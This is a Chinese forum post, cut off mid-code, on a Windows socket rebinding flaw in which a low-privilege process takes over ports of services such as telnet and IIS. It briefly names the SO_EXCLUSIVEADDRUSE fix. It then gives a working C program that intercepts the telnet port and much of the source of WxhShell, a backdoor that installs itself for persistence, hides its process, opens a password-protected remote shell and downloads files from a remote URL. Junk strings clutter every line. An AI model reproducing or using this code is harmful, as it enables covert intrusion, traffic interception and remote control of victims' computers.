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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PNhe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BR_1MG'{)$  
fb7;|LF  
  saddr.sin_family = AF_INET; &AMl:@p9  
f%JIp#B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H'5)UX@LP  
NX.6px17  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f)rq%N &  
]! &FKy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tFn)aa~L  
4B;=kL_f  
  这意味着什么?意味着可以进行如下的攻击: g axsv[W>^  
R{4^t97wH{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,,.QfUj/&  
v"$L702d$\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q}JOU  
XW H5d-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ye |Y  
/62!cp/F/D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P5V}#;v  
y7cl_rK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #MkTkm&r  
#zy :a%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 k'Hs}zeNn  
m~ABC#,2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $Wol?)z  
G>=*yqo  
  #include ?<,l3pwqa  
  #include **0~K";\  
  #include FGJ1dBLr  
  #include    @{e}4s?7od  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tjS@meT  
  int main() aK~8B_5k8  
  { ]A `n( "%  
  WORD wVersionRequested; @bLy,Xr&  
  DWORD ret; 1~FOgk1;  
  WSADATA wsaData; }&D WaO]J7  
  BOOL val; T{^rt3a  
  SOCKADDR_IN saddr; v~C Czg  
  SOCKADDR_IN scaddr; cZ*@$%_  
  int err; 3`?7 <YJ  
  SOCKET s; :Ov6_x]*  
  SOCKET sc; M0"_^?  
  int caddsize; nW:C/{n2tG  
  HANDLE mt; =%O6:YM   
  DWORD tid;   m7V/zne  
  wVersionRequested = MAKEWORD( 2, 2 ); 8W7J3{d  
  err = WSAStartup( wVersionRequested, &wsaData ); On?v|10r'  
  if ( err != 0 ) { ^ +\dz  
  printf("error!WSAStartup failed!\n"); `RW HN/U  
  return -1;  }v{LRRi  
  } Qel9G($=  
  saddr.sin_family = AF_INET; h" W,WxL8  
   _61gF[r4!Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6|=f$a  
QIEJ6`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q{>k1$fkV  
  saddr.sin_port = htons(23); {S \{Ii6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DCa^ u'f  
  { ATyEf5Id_  
  printf("error!socket failed!\n"); ~8+ Zs  
  return -1; e`s ~.ZF  
  } 8Fh)eha9f  
  val = TRUE; 1I6px$^E\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q i;1L Kc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /N .b%M] !  
  { $I>w]  
  printf("error!setsockopt failed!\n"); .{^5X)  
  return -1; T::85  
  } qR{=pR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wlvgg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @HCVmg:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gQuw1  
kD%( _K5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y=KTeYW`  
  { gD?l-RT>  
  ret=GetLastError(); "k@/ 3  
  printf("error!bind failed!\n"); >=>2m2z=  
  return -1; l)\! .X  
  } 00y!K m_D  
  listen(s,2); EZGIf/ 3  
  while(1) +\A,&;!SR  
  { 3hH<T.@)  
  caddsize = sizeof(scaddr); V!=,0zy~Z  
  //接受连接请求 B3I`40#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B9 uoVcW  
  if(sc!=INVALID_SOCKET) @.l@\4m  
  { "S]TP$O D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jr. "I+  
  if(mt==NULL) F>l] 9!P|m  
  { RqrdAkg  
  printf("Thread Creat Failed!\n"); AT3Mlz~7#  
  break; _{KG 4+5\X  
  } SH$PwJU  
  } t:Q*gW Rh  
  CloseHandle(mt); 4$<JHo @.  
  } fr3d  
  closesocket(s); WT=;:j  
  WSACleanup(); <'*LRd$1  
  return 0; o.!Dq7 R  
  }   KpGhQdR#  
  DWORD WINAPI ClientThread(LPVOID lpParam) CCx&7f  
  { CTa57R  
  SOCKET ss = (SOCKET)lpParam; u6agoK|^9  
  SOCKET sc; Otuf] B^s  
  unsigned char buf[4096]; (A#^l=su  
  SOCKADDR_IN saddr; oPM96 (  
  long num; PZ9I`P! C  
  DWORD val; R 9\*#c  
  DWORD ret; +0Y&`{#Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5;EvNu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _DtV  
  saddr.sin_family = AF_INET; wHy!CP%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p5iuYHKk?  
  saddr.sin_port = htons(23); :F?C)F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lf&kv7Wj  
  { :o3N;*o>)0  
  printf("error!socket failed!\n"); 8ib:FF(= u  
  return -1; K0>zxqY  
  } ":ue-=&M  
  val = 100; rILYI;'o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gc|idjW4  
  { k,*XG$2h  
  ret = GetLastError(); mzgfFNm^G)  
  return -1; ?@86P|19  
  } %ET+iIhK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4WB0Pt{  
  { fJg+Ryo  
  ret = GetLastError(); 2+XA X:YD  
  return -1; })%{AfDRF  
  } `c$V$/IT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2^7`mES  
  { HRA|q  
  printf("error!socket connect failed!\n"); F^:3?JA _  
  closesocket(sc); B@ EC5Ap*  
  closesocket(ss); Bzf^ivT3L  
  return -1; ^cWnF0)j.  
  }  ob]w;"  
  while(1) yG{TH0tq  
  { Pq$n5fZC !  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jP.dDYc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8s@3hXD&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :ws<-Qy  
  num = recv(ss,buf,4096,0); ccxNbU  
  if(num>0) ;uGv:$([g  
  send(sc,buf,num,0); :3 mh@[V  
  else if(num==0) !ohN!P7&  
  break; SpBy3wd  
  num = recv(sc,buf,4096,0); LS[]=Mk@1  
  if(num>0) $??I/6  
  send(ss,buf,num,0); n$R)>n Y  
  else if(num==0) A#,ZUOPGH  
  break; 4xj4=C~i  
  } ueNS='+m  
  closesocket(ss); BgT*icd8d  
  closesocket(sc); UiNP3TJ'L  
  return 0 ; * T1_;4i  
  } h68 xet;  
er\|i. Y  
|7~<Is~ *  
========================================================== Fr-SvsNFB  
uY*L,j^)  
下边附上一个代码,,WXhSHELL U<XG{<2  
zt%Mx>V@  
========================================================== WIGi51yC.x  
zQ PQ  
#include "stdafx.h" E{(;@PzE  
kx^/*~ex  
#include <stdio.h> ar,7S&s H  
#include <string.h> Gc7=  
#include <windows.h> `]aeI'[}R  
#include <winsock2.h> (@YG~ 0  
#include <winsvc.h> -?a 26o%e  
#include <urlmon.h> j8gdlIx  
iy"*5<;*DD  
#pragma comment (lib, "Ws2_32.lib") ?JUeuNs9  
#pragma comment (lib, "urlmon.lib") mE[y SrV  
2g<Xtt7+o  
#define MAX_USER   100 // 最大客户端连接数 EQ_aa@M7  
#define BUF_SOCK   200 // sock buffer khd4ue$  
#define KEY_BUFF   255 // 输入 buffer xSu >  
rN>R|].  
#define REBOOT     0   // 重启 w-jVC^C]  
#define SHUTDOWN   1   // 关机 ~LC-[&$  
4p wH>1  
#define DEF_PORT   5000 // 监听端口 Y);=TM6s  
$cg cX  
#define REG_LEN     16   // 注册表键长度 I^]nqK  
#define SVC_LEN     80   // NT服务名长度 ^zr`;cJ+c  
Y/oHu@ _  
// 从dll定义API x1a:u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qP ,EBE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UF|p';oom  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VU#7%ufu&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d-%hjy3N  
2<6UwF  
// wxhshell配置信息 TA\vZGJ('  
struct WSCFG { Gm`8q}<I  
  int ws_port;         // 监听端口 l-3~K-k<@  
  char ws_passstr[REG_LEN]; // 口令 xD7]C|8o  
  int ws_autoins;       // 安装标记, 1=yes 0=no + T+#q@  
  char ws_regname[REG_LEN]; // 注册表键名 OTv)  
  char ws_svcname[REG_LEN]; // 服务名 \U0'P;em  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n"8Yv~v*2j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3g B7g'U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ul# r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $VR{q6[0S?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >mkFV@`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XP}<N&j  
*^r}"in  
}; }B^tL$k  
u@444Vzg  
// default Wxhshell configuration $Kd>:f=A  
struct WSCFG wscfg={DEF_PORT, kf9X$d6   
    "xuhuanlingzhe", wM{s|Ay  
    1, @+DX.9  
    "Wxhshell", 3$/IC@+  
    "Wxhshell", g{LP7 D;6  
            "WxhShell Service", H*6W q  
    "Wrsky Windows CmdShell Service", T>>c2$ x  
    "Please Input Your Password: ", j1Ezf=N6`  
  1, w(F%^o\  
  "http://www.wrsky.com/wxhshell.exe", 1mJ Hued=6  
  "Wxhshell.exe" 4!$"ayGv;D  
    }; r<\u6jF  
[B3RfCV{  
// 消息定义模块 7:~_D7n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0{mex4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kcEeFG;DQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P {'b:C  
char *msg_ws_ext="\n\rExit."; 2zpr~cB=  
char *msg_ws_end="\n\rQuit."; ,,TnIouy  
char *msg_ws_boot="\n\rReboot..."; $ Q0n  
char *msg_ws_poff="\n\rShutdown..."; =u;MCQ[  
char *msg_ws_down="\n\rSave to "; JS77M-Ac  
t,' <gI  
char *msg_ws_err="\n\rErr!"; .C(tMF]D,  
char *msg_ws_ok="\n\rOK!"; AwN!;t_0+N  
s^SJY{  
char ExeFile[MAX_PATH]; /RF7j;  
int nUser = 0; ce(#2o&`  
HANDLE handles[MAX_USER]; >3bCTE   
int OsIsNt; }7X%'Bg=M  
T C"<g  
SERVICE_STATUS       serviceStatus; jdBLsy@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gh$^{  
{Ha57Wk8D  
// 函数声明 EK'!}OGCG  
int Install(void); Ss`LLq0LO  
int Uninstall(void); <Gsu Z  
int DownloadFile(char *sURL, SOCKET wsh); PW4q~rc=:  
int Boot(int flag); 0$njMnB2l  
void HideProc(void); F[0]/  
int GetOsVer(void); OJxl<Q=z  
int Wxhshell(SOCKET wsl); g .\[o@H  
void TalkWithClient(void *cs); H.0K?N&\?>  
int CmdShell(SOCKET sock); svSVG:48  
int StartFromService(void); .^g p?  
int StartWxhshell(LPSTR lpCmdLine); 7o4\oRGV  
3a|\dav%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ep}s}Stlr}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W8<%[-r  
-YE^zzh  
// 数据结构和表定义 54/=G(F   
SERVICE_TABLE_ENTRY DispatchTable[] = y)*RV;^  
{ YK\X+"lB  
{wscfg.ws_svcname, NTServiceMain}, qWw=8Bq  
{NULL, NULL} 8_F1AU? u  
}; Y ay?=Y{  
P*o9a  
// 自我安装 <}LC~B!  
int Install(void) j#6.Gq  
{ 9VT;ep  
  char svExeFile[MAX_PATH]; 2?x4vI np;  
  HKEY key; BuwY3F\-O  
  strcpy(svExeFile,ExeFile); DrQ`]]jj7  
W4N{S.#!  
// 如果是win9x系统,修改注册表设为自启动 6nQq  
if(!OsIsNt) {  XilS!,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h\e.e3/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $u.z*b_yy  
  RegCloseKey(key); 1"g<0 W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .u:GjL'$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AR=]=8  
  RegCloseKey(key); #*}+J3/  
  return 0; ?8$Q-1=  
    } ]-q;4.  
  } xA/D'  
} C]#,+q*  
else { 3u;oQ5<(v  
=fbWz  
// 如果是NT以上系统,安装为系统服务 Uv.)?YeGh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pUTr!fR  
if (schSCManager!=0) "fI6Cpc  
{ vbNBLCwug  
  SC_HANDLE schService = CreateService G?ZXWu.  
  ( ;fJ.8C  
  schSCManager, "8RSvT<W^5  
  wscfg.ws_svcname, OH88n69  
  wscfg.ws_svcdisp, xU vs:  
  SERVICE_ALL_ACCESS, "#]$r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,'+kBZOv  
  SERVICE_AUTO_START, IU[ [ H#  
  SERVICE_ERROR_NORMAL, ;I*o@x_  
  svExeFile, rc{v$.o0  
  NULL, liZxBs :%i  
  NULL, q@&6#B  
  NULL, xmX 4qtAL  
  NULL, /mMV{[  
  NULL Q@niNDaW2  
  ); B6"0OIDY"  
  if (schService!=0) KP"+e:a%  
  { Rv=YFo[B  
  CloseServiceHandle(schService); G3 m Z($y  
  CloseServiceHandle(schSCManager); "z c l|@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aYeR{Y]  
  strcat(svExeFile,wscfg.ws_svcname); GmG 5[?)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U(Zq= M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -12U4h<e  
  RegCloseKey(key); \lY_~*J  
  return 0; ZoeD:xnh[  
    } C}X\|J  
  } "8/,Y"W"  
  CloseServiceHandle(schSCManager); <GJbmRc|  
} 2T1q?L?]  
} y9;Yiv r)  
S3#>9k;p  
return 1; ~@!bsLSMU  
} XG?8s &  
GVz6-T~\>  
// 自我卸载 FlQGg VN  
int Uninstall(void) D@KlOU{<  
{ pw#-_  
  HKEY key; [RL9>n8f  
,_P-$lB  
if(!OsIsNt) { BWNi [^]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i1085ztN  
  RegDeleteValue(key,wscfg.ws_regname); 5N]"~w*  
  RegCloseKey(key); FsPw1A$y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <$YlH@;)`a  
  RegDeleteValue(key,wscfg.ws_regname); vIvIfE  
  RegCloseKey(key); )_:NLo:  
  return 0; =%7-ZH9  
  } +mPx8P&%  
} t7pFW^&  
} jo7\`#(Q  
else { o4;(Zi#Z  
~~.}ah/_d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {I ((p_  
if (schSCManager!=0)  k'YTpO  
{ 3R/bz0 V>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fJ\[*5eiS  
  if (schService!=0) vI?, 47Hj+  
  { 7^Uv7< pw  
  if(DeleteService(schService)!=0) { lYIH/:T  
  CloseServiceHandle(schService); l}h!B_P'  
  CloseServiceHandle(schSCManager); N[hG8f  
  return 0; q)GdD==  
  } J4'eI[73  
  CloseServiceHandle(schService); WxDh;*am:  
  } "MsIjSu  
  CloseServiceHandle(schSCManager); 54,er$$V  
} / 1RpM]d  
} jdN` mosJ  
TpaInXR  
return 1; ;a/E42eN;  
} #Z#-Ht  
#mT"gs  
// 从指定url下载文件 `^vE9nW 7  
int DownloadFile(char *sURL, SOCKET wsh) mDWG7Asp  
{ \['Cj*ek  
  HRESULT hr; #tHK"20  
char seps[]= "/"; wzA$'+Mb  
char *token; [^)g%|W  
char *file; (:_$5&i7  
char myURL[MAX_PATH]; kM 6 Qp  
char myFILE[MAX_PATH]; ]5O~+Nf  
v19-./H^ j  
strcpy(myURL,sURL); 3Vwh|1?  
  token=strtok(myURL,seps); -=="<0c  
  while(token!=NULL) |pK !S  
  { 1oS/`)  
    file=token; M:8R -c#![  
  token=strtok(NULL,seps); ! if   
  } pmM9,6P4@  
HQ g^ h  
GetCurrentDirectory(MAX_PATH,myFILE); ^~dWU>  
strcat(myFILE, "\\"); :/#rZPPF  
strcat(myFILE, file); 4 5e~6",  
  send(wsh,myFILE,strlen(myFILE),0); sB</DS  
send(wsh,"...",3,0); bOB \--:]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _#niyW+?~  
  if(hr==S_OK) r$1Qf}J3=  
return 0; |>Vb9:q9Po  
else Wzh`or  
return 1; j.Hf/vi`z  
d$RIS+V  
} NUZl`fu1Z4  
AdEMa}u 6  
// 系统电源模块 . vV|hSc  
int Boot(int flag)  g(052]  
{ uT{q9=w  
  HANDLE hToken; 7r!x1  
  TOKEN_PRIVILEGES tkp; 2HdC |$_+  
b sX[UF  
  if(OsIsNt) { VRMXtQ*1Dm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zdYjF|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :]KAkhFkbb  
    tkp.PrivilegeCount = 1; |N2#ItBbW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tc! #wd+u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); paK2 xX8E  
if(flag==REBOOT) { o4X{L`m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vgPCQO([  
  return 0; ~a:  
} E fDH6  
else { Nc`L;CP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j_AACq {.  
  return 0; $I=~S[p  
} N['  .BN  
  } yAt ^;  
  else { +whDU2 "  
if(flag==REBOOT) { Tbq;h ?D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Upe%rC(  
  return 0; Ytkv!]"  
} SU0 hma8  
else { a9gLg &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]DcFySyv  
  return 0; }tz7b#  
} C_Dn{  
} s_Sk0}e  
d-qUtgqV86  
return 1; l **X^+=$  
} _XBd3JN@  
UNYqft4  
// win9x进程隐藏模块 Hka2  
void HideProc(void) _/|\aqF.  
{ }7Uoh(d  
A"]YM'.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Jj<h: *  
  if ( hKernel != NULL ) @dK Tx#gZ  
  { GOPfXtkC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ac@VGT:9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c)J%`i$  
    FreeLibrary(hKernel); ,bi^P>X  
  } jd: 6:Fm  
OXA7w.^  
return; V!Uc(  
} M]^5s;y  
V0@=^Bls  
// 获取操作系统版本 gdc<ZYcM  
int GetOsVer(void) 2G7Wi!J  
{ @{Q4^'K"  
  OSVERSIONINFO winfo; /: "1Z]@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5! {D!  
  GetVersionEx(&winfo); -RwE%  cr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1zv'.uu.,  
  return 1; 4RO}<$Nx}  
  else 4s- !7  
  return 0; e6*8K@LHB  
} dPlV>IM$z  
jA1 +x:Wq  
// 客户端句柄模块 fhiM U8(&  
int Wxhshell(SOCKET wsl) MtdG>TzUn  
{ @"A4$`Xi3  
  SOCKET wsh; HJ"GnZp<  
  struct sockaddr_in client; <~)P7~$d?p  
  DWORD myID; u 9e@a9c  
@ Y+oiB~Y  
  while(nUser<MAX_USER) 4(+PD&_J  
{ tQ)qCk07  
  int nSize=sizeof(client); >:-$+I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B#A6v0Ta  
  if(wsh==INVALID_SOCKET) return 1; 4?kcv59  
( .:e,l{U%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H_a[)DT  
if(handles[nUser]==0) Q ,g\  
  closesocket(wsh); c 9Mz]1@f  
else D.:Zx  
  nUser++; d]9z@Pd   
  } oH@78D0A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nn6%9PX_)  
-?\D\\+t  
  return 0; J.a]K[ci  
} :WEDAFq0  
5pX6t  
// 关闭 socket V~GDPJ+  
void CloseIt(SOCKET wsh) K(4_a``05  
{ Rcuz(yS8  
closesocket(wsh); rq{$,/6.  
nUser--; &ZO0r ^  
ExitThread(0); '1[Ft03  
} I9^x,F"E]  
yi[x}ffdE  
// 客户端请求句柄 :OT&  
void TalkWithClient(void *cs) j 7B!h|  
{ 0GwR~Z}Z  
awRX1:T#;O  
  SOCKET wsh=(SOCKET)cs; >*bvw~y,  
  char pwd[SVC_LEN]; WJi]t93  
  char cmd[KEY_BUFF]; kh<2BOV  
char chr[1]; h[ ZN+M  
int i,j; Wwo0%<2y  
JF]JOI6.e  
  while (nUser < MAX_USER) { )X7A  
}p V:M{Nu&  
if(wscfg.ws_passstr) { y =@N|f!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SbZ6t$"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /v}`l  
  //ZeroMemory(pwd,KEY_BUFF); +ZYn? #IQ  
      i=0; !-bB559Nv  
  while(i<SVC_LEN) { `cO:<^%  
xw%0>K[  
  // 设置超时 y`Fw-!'o  
  fd_set FdRead; d9ihhqq3}  
  struct timeval TimeOut; -Za/p@gM  
  FD_ZERO(&FdRead); }]Tx lSp!;  
  FD_SET(wsh,&FdRead); V&i;\9  
  TimeOut.tv_sec=8; rQXzR  
  TimeOut.tv_usec=0; ysN3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P>L +t`'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0(I j%Wi,  
J,G lIv.A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GILfbNcd  
  pwd=chr[0]; 9L9sqZUB  
  if(chr[0]==0xd || chr[0]==0xa) { (hsl~Jf  
  pwd=0; m|# y >4  
  break; n%-0V>  
  } 0V]s:S  
  i++; J1kM\8%b\  
    } )Z$!PqRw@u  
+(*DT9s+  
  // 如果是非法用户,关闭 socket _|p8M!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  OSJ$d  
} 8fb'yjIC  
,[Fb[#Qqb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q&&@v4L   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +V+a4lU14  
zQA`/&=Y  
while(1) { 5IN(|B0  
}Lv;!  
  ZeroMemory(cmd,KEY_BUFF); n(Uyz`qE  
-&;TA0~;  
      // 自动支持客户端 telnet标准   :KN-F86i  
  j=0; C?Ucu]cW  
  while(j<KEY_BUFF) { nm+s{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]?)TdJ`  
  cmd[j]=chr[0]; C>~TI,5a3  
  if(chr[0]==0xa || chr[0]==0xd) { xpI wrJO  
  cmd[j]=0; +3`alHUK  
  break; ':}\4j&{E  
  } ]d`VT)~vje  
  j++; >MK98(F  
    } *J{+1Ev~$p  
6Iw\c  
  // 下载文件  9a kH  
  if(strstr(cmd,"http://")) { 8D].MI^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J=L5=G7(  
  if(DownloadFile(cmd,wsh)) qa6,z.mQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d1kJRJ   
  else ap~^Ty<>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fX)# =c|5  
  } X(C$@N  
  else { <ih[TtZ  
<1%$Vq  
    switch(cmd[0]) { hEk$d.!}  
  2JFpZU"1  
  // 帮助 *' X3z@R  
  case '?': {  XlJZhc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <t,x RBk  
    break; o14cwb  
  } d %#b:(,  
  // 安装 `lPfb[b  
  case 'i': { Bj~+WwD)QR  
    if(Install()) i?~3*#IpD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xKC[=E>z  
    else go"Hf_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l(q ,<[O  
    break; 2 FFD%O05  
    } tl].r|yl  
  // 卸载 sC;+F*0g  
  case 'r': { %IRi1EmN8  
    if(Uninstall()) 2m[<]$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNhQD*+>{  
    else :yjFQ9^?&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |I|fMF2K  
    break; d/Q%IeEL.  
    } -(#iIgmP  
  // 显示 wxhshell 所在路径 BUR*n;V`  
  case 'p': { @K]|K]cby  
    char svExeFile[MAX_PATH]; }T$p)"  
    strcpy(svExeFile,"\n\r"); h} EPnC}  
      strcat(svExeFile,ExeFile); Q|L~=9  
        send(wsh,svExeFile,strlen(svExeFile),0); %[yJ4WL  
    break; x;')9/3  
    } PuO&wI]:  
  // 重启 j)GtEP<n#  
  case 'b': { $\! 7 {6a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `p7=t)5k  
    if(Boot(REBOOT)) 39|MX21k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G3rX9xG  
    else { `#gie$B{  
    closesocket(wsh); g4@ lM"|S  
    ExitThread(0); FE{FGM q  
    } pD74+/DD  
    break; (khL-F  
    } [sb[Z:  
  // 关机 w-{c.x  
  case 'd': { hG:|9Sol,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VQ{fne<  
